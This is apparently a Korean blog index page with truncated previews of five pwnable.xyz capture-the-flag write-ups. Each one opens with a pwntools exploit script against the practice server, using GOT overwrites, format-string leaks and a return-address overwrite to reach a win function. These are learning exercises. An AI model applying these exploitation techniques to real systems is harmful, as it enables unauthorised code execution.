전체 글 299

pwnable.xyz - two targets

from pwn import * p = remote("svc.pwnable.xyz", 30031) printf_got = 0x603038 # overwrite 시점에 이미 사용된 함수 (printf,scanf,atoi,read) puts_got = 0x603020 # \x20 = space, scanf 함수는 공백/줄바꿈 만나면 입력 멈춤 strncmp_got = 0x603018 win = 0x40099c p.sendafter("> ", "2") # 문자 입력하는 것이므로 little endian 형식으로 주어야함 # 배열 앞에서부터 한바이트씩 채워짐 p.sendafter("nationality: ", b'A'*0x10+p64(strncmp_got)) p.sendafter("> ", "3") p.send..

pwnable.xyz - grownup

from pwn import * p = remote("svc.pwnable.xyz", 30004) p.recvuntil("older? [y/N]: ") p.send(b"yAAAAAAA"+p64(0x601080)) p.recvuntil("Name: ") ''' buf[1] 위치 언제 등장하는지 확인 pay = "A"*0x28 + "%p %p %p %p %p %p %p %p %p %p " pay += 'A'*(0x80-len(pay)) 출력결과: 첫번째 인자로 usr 주소, 9번째 인자로 buf[1]의 값 Welcome AAAAAAAA0x6010e0 0x7f30f4a648c0 (nil) 0x7f30f4c8b500 0x8 0x10f4a773d0 0xc8e260 0x4141414141414179 0x601080..

pwnable.xyz - add

from pwn import * p = remote("svc.pwnable.xyz", 30002) # v7 = rbp-0x60 # RET 위치는 rbp+0x8 # 0x68 차이남 (8Byte*13) win = 0x400822 # printf_got = 0x601028 # ASLR 때문에 스택 위치 랜덤, v7 배열 시작 위치도 계속 바뀔 것 # v7과 printf_got 간 차이를 leak 없이 구하긴 힘들다 offset = (0x7fffffffddc0-0x601048)//8 p.recvuntil("Input: ") pay = str(int(win))+" "+str(0)+" "+str(int(13)) p.sendline(pay) # while문 종료시키기 p.recvuntil("Input: ") p.se..

pwnable.xyz - sub

from pwn import * p = remote("svc.pwnable.xyz", 30001) p.recvuntil("1337 input: ") p.sendline("4918 -1") p.interactive() - 마찬가지 chmod +x ./challenge 해서 실행권한 부여해서 실행해봄 - IDA로 디컴파일해서 동작 분석해보자 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { int v4; // [rsp+0h] [rbp-18h] BYREF int v5; // [rsp+4h] [rbp-14h] BYREF unsigned __int64 v6; // [rsp+8h] [rbp-10h] // fs 세그먼트 기준 0x28만큼 떨어져있는 메모리의 q..

pwnable.xyz - welcome

from pwn import * p = remote("svc.pwnable.xyz", 30000) p.recvuntil("Leak: ") leak = int(p.recvline()[:-1], 16) p.sendlineafter("message: ", str(int(leak+1))) p.sendafter("message: ", 'aaaa') p.interactive() -rw-r--r-- 1 minseo minseo 10224 12월 26 2018 challenge - cat해서 보니까 ELF 파일임 - 실행 권한이 없네요: chmod +x ./challenge - memory leak 있고 입력받는거보니 bof 하는거같네요 (근데 보호기법 전부 MAX로 적용되어있는데?ㅋㅋ) - 심볼 파일이 없어서 bp ..